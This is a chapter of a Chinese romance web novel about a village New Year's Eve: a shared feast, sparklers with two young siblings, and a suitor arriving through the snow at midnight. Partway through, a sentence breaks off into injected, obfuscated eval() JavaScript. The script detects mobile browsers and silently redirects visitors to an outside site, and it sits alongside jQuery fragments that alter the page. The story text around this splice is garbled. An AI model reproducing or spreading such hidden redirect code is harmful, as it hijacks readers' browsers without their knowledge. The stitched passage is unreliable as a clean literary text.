44.第 44 章

作品:《种田文骗我

    腊月三十正当天,安民村从清早就沉浸在一股忙碌里。


    就连鸡鸣声似乎都比往日嘹亮,家家户户的烟囱早早冒起袅袅炊烟。


    无论家境高低,这一天都要图个喜庆,盼个来年。


    童念一早也忙开了,她知道陈才在晏宾楼年节里最是忙碌,脱不开身回来过团年,便早早就和萧三娘说好,带着林安林宁一起去她家搭伙过年。


    周婶听说后,便道也过来一起凑个热闹,几家人便约好了一起吃年夜饭。


    一大早,林宁穿着一身新做的水红色小棉袄,扎着两个圆鼓鼓的小丸子,两颊被童念用红纸涂了两圈淡绯,衬得小脸肉白粉嫩,像是年画娃娃般乖巧可爱。


    林安穿着一身青色棉袍,已然有了小少年的沉稳模样,正仔细地将童念炸好的肉丸和酥肉分装到不同的碗碟里,动作细致沉稳。


    “阿姐,你瞧着可还缺了什么?”林宁仰着小脸,声音软糯糯的。


    “我再看看。”童念最后清点了一遍要带的东西,确认齐备了,她这才背着背篓,先把东西送去萧三娘家。


    如此来回了几趟,这才让林安牵着林宁,锁了院门,朝着陈家走去。


    刚走到萧三娘家院门口,就碰见了正从自家出来的周婶。


    她裹着厚实的棉袄,手里也提着一个盖着布的篮子,身后跟着提了一堆东西的文守诚。


    “阿念,带孩子们过来啦?”周婶笑着招呼,又朝林安林宁招呼道:“小安,阿宁,这小模样真漂亮!”


    “周婶子新年好!文叔叔新年好!”两个孩子乖巧地问好。


    “哎,新年好!”周婶笑着应答,身后的文守诚也和气的搭了几声。


    “婶子,你小心路滑,看着点阿。”童念叮嘱着。


    “不打紧,我慢慢走,东西都是你文叔拿着呢!”周婶说着,脚下却是踩得稳稳的。


    安民村这边的年饭是摆在中午,文守诚搭着童念,两人很快就把饭菜弄好了。


    这顿年夜饭,童念准备的很是丰盛。


    一大盘色香味俱全的卤肉,一条解冻好只等着上锅清蒸的湖鱼,一只自己调了蜜汁烤制的肥鸡,还有一大盒从县城最有名的王记买来的烤鸭,油亮的焦糖色鸭皮隔着油纸都能闻到酥香。


    桌上还摆了个鸳鸯火锅,用陶泥炉煨着,一边是奶白的骨汤,一边是鲜香麻辣的红油底。


    旁边篮子里放着切得薄薄的牛肉片,洗净的菘菜、切好的萝卜片、撕成小块的千张豆腐、泡发的干蘑菇。


    她还做了一陶罐热乎乎的红糖啵啵奶茶,蒸了一屉红糖发糕,桌上满当当的,热气袅袅,香味扑鼻。


    外头陆陆续续响起鞭炮声,童念这才招呼着文守城去把萧三娘家的鞭炮点了。


    林安林宁还有周婶她们一群人,站在屋檐下,捂着耳朵看火星四窜,劈里啪啦一阵炸响,浓烟后是一阵呛鼻的硝烟味。


    堂屋炭火烧得正旺,火锅热气氤氲,一群人围坐在长桌上。


    萧三娘端起一杯温水,柔声给桌上的众人道谢:“多谢大伙过来陪我一起过年,也感谢大家这大半年来的照拂,愿咱们来年万事如意,平安顺遂。”


    “大家都平安顺遂!万事大吉!”童念举起奶茶附声道。


    林宁也捧着杯子和童念轻碰,又像个小大人一样,捧起手中的奶茶脆声道:“宁宁也祝大家万事大吉!”


    “好,承咱们阿宁吉言!”周婶和萧三娘都笑着与她碰杯。


    “来,动筷咯!”周婶率先夹了一块牛肉放进骨汤里,桌上气氛顿时热闹起来。


    不久家家户户都开始点燃了鞭炮,劈里啪啦的声响不时从村里传来,间或传来孩子们的笑闹声。


    整个村子浸在暖融融的年味里,仿佛所有烦难都被暂且搁下,只剩团圆平安的念想。


    几家人吃着聊着,一直热闹到了晚上。


    吃完了饭,一群人又围坐在火堆边,聊着些家常。


    文守诚就在外头灶间收拾,又把宵夜暖在灶上,供着小火,免得陈才回来吃冷灶。


    直到夜色深沉,陈才架着从吴老三那借过去的驴车风尘仆仆的回来,童念几人才和萧三娘辞别。


    先送了周婶她们回家,童念才牵着林安林宁往家里走。


    她一手牵着林宁,身边跟着沉稳的林安,慢慢走回自己的小院。


    大年三十按习俗是要守岁的,林宁到底年纪小,熬着没多久,就在童念怀里揉着眼睛,有些困倦了,林安依然坐得端正,但眉眼间也染了些倦意。


    “可还要吃些宵夜?”童念拨动了火盆里的火,问林宁。


    下午没吃完的菜,几家人分着各自带了回来,都温在灶上呢。


    童念还准备了饺子汤圆,想吃的话,把水烧热了就能煮了吃。


    “阿姐,肚子还是饱的,吃不下啦。”林宁挺着小肚子示意道。


    “阿姐,过年了真好!以前阿娘和爹爹也会像我们这样,坐在屋子里守岁呢。”林宁眨巴着眼睛回忆道。


    她现在长大了不少,已经明白阿娘和爹爹再也回不来了。


    哥哥和阿姐对她都很好,想起逝去的爹娘,已不会像初时那般难过,但她永远会在心里空出一个角落给爹娘。


    “阿姐,你吃瓜子。”林安在一旁剥出来一小盘瓜子,递给童念。


    童念怕引起她俩的伤怀,转开了话头:“要不要放烟火?阿姐买了烟花棒,等明年阿姐再给你们买个大烟火,到时候咱们也在院子里放,可漂亮了呢。”


    今年她们家还不太合适这么张扬,只能买点小的解解馋了。


    童念话音刚落,远处不知谁家花了大手笔,竟放起了大烟花来。


    一阵响动,一朵不大的银花在夜幕下绽开,点亮了半边天色,烟火明明灭灭的在空中绽了半响。


    林宁的困意被这热闹驱散了些,从童念怀里钻出去,仰着小脑袋站在门前,看得入神。


    林安也跟在她身侧,满眼雀跃的仰头瞧着。


    童念从屋里拿出早先买好的烟火棒,细细的纸筒,点燃后能喷出细碎耀眼的金色火花。


    “来,咱们也放,小心些火星子。”她分给两个孩子,自己也拿了一支。


    林安小心翼翼地护着妹妹,回屋找了根柴火帮她点燃。


    嗤啦一声,灿烂的金色火花从林宁手中的小棒顶端喷涌而出,映亮了她甜软的小脸。


    林安也点燃了自己的,火花闪烁,温润的侧脸在火光中勾勒得越发柔和。


    “阿姐!!你看!!”林宁两手拿着烟花在院子里转圈。


    林安也学着她双臂挥动,小心的离着林宁远些,免


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049692|191968||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得火星子溅到衣服上。


    童念也点燃一支,三人在不大的院子里玩闹着,躲着偶尔溅落的火星,清冷的空气中弥漫开淡淡的硝烟味。


    玩了好一阵,这才回到屋里坐下继续守岁,过了一会林宁终于撑不住,趴在童念膝头沉沉睡去。


    林安也打了哈欠,但还强撑着趴在桌上,想和童念一起守岁。


    “小安,和妹妹去睡吧,阿姐来守就好了。”童念柔声道。


    林安还想撑着,含糊着呢喃:“阿姐,我跟你一块守着。”


    童念失笑:“去睡吧,待会你要睡着了我可抱不动你,趴桌上冷,仔细冻着了。”


    童念抱着林宁回卧房给她安置好,又等林安洗漱睡下,这才掩门回到堂屋。


    寒意渐浓,屋外又开始飘雪了。


    童念拿了几根烟火棒,拿在手中一根一根点燃,看着那簇微光在寂夜中闪烁摇曳,渐次燃尽。


    就在这时,院门外由远及近,传来一阵急促清晰的马蹄声。


    童念心中一动,几乎是下意识地,拽着手里的烟花棒快步走到院门边,拉开了院门。


    门外,骏马喷着浓浓的白气,马背上的人肩头发梢都落满了未化的雪色,在烟火余烬昏黄的光晕里,带着一身风尘仆仆的寒意。


    童念惊愕的愣在原地,手里的烟花棒恰好燃到尽头,迸发出最后几星璀璨的火光,映亮了对方沾满霜雪的眉睫。


    “你怎么回来了?”恍惚中,童念听到自己轻飘飘的询问声。


    谢云意利落地翻身下马,缰绳随手挽在门边木桩上。


    他朝她走来,靴子踩在雪上,发出咯吱轻响,一步步,直到离她只有咫尺:“下了值,就赶回来了。”


    他顿了顿,又望进童念眼里,嗓音低沉却清晰:“童姑娘,新年喜乐。”


    新年的钟漏划过最后一笔,就在这时,陈家方向一团更大的火光猛地蹿上夜空,轰然炸开。


    那盛大华丽的光影,在谢云意身后漫天绽放,将他挺拔的身影勾勒得如同墨色剪影。


    他想和她一起跨年。


    这个认知,和他突然出现在眼前的冲击,像洪水般朝着童念心头汹涌。


    所有的顾虑,都在他踏雪而归的这一刻,变得微不足道。


    她几乎没有迟疑,在他话音刚落之际,童念已向前一步,猛地扑进了他带着寒意的怀里,双臂紧紧环住了他精瘦的腰身。


    脸颊隔着他冰冷潮湿的外袍,贴在他胸膛,能听到其下噗通的心跳。


    “谢云意。”她脸埋在他怀里,声音透着笑:“新年喜乐。”


    谢云意浑身明显僵了一瞬,似乎没料到她会如此直接。


    随即眼里漾开深浓得化不开的笑意,他缓缓抬手,轻轻地回抱住了她,手臂渐渐收拢,收紧力道将人锁在怀里。


    他低下头,下颌轻轻蹭了蹭她的发顶,声音落在她耳边:“嗯。”


    抱了一会,谢云意稍稍松开她一点,低头垂眸看她。


    目光沉静地在她脸上停了片刻,而后向前倾身,沉着呼吸用眉心抵住童念的前额。


    两人额头轻轻相抵,呼吸交织,在冰天雪地里呵出团团白雾,亲密无间。


    漫天烟花余烬已散,夜空重归静谧,只有彼此的心跳,在深夜中如同钟鼓般清晰可闻。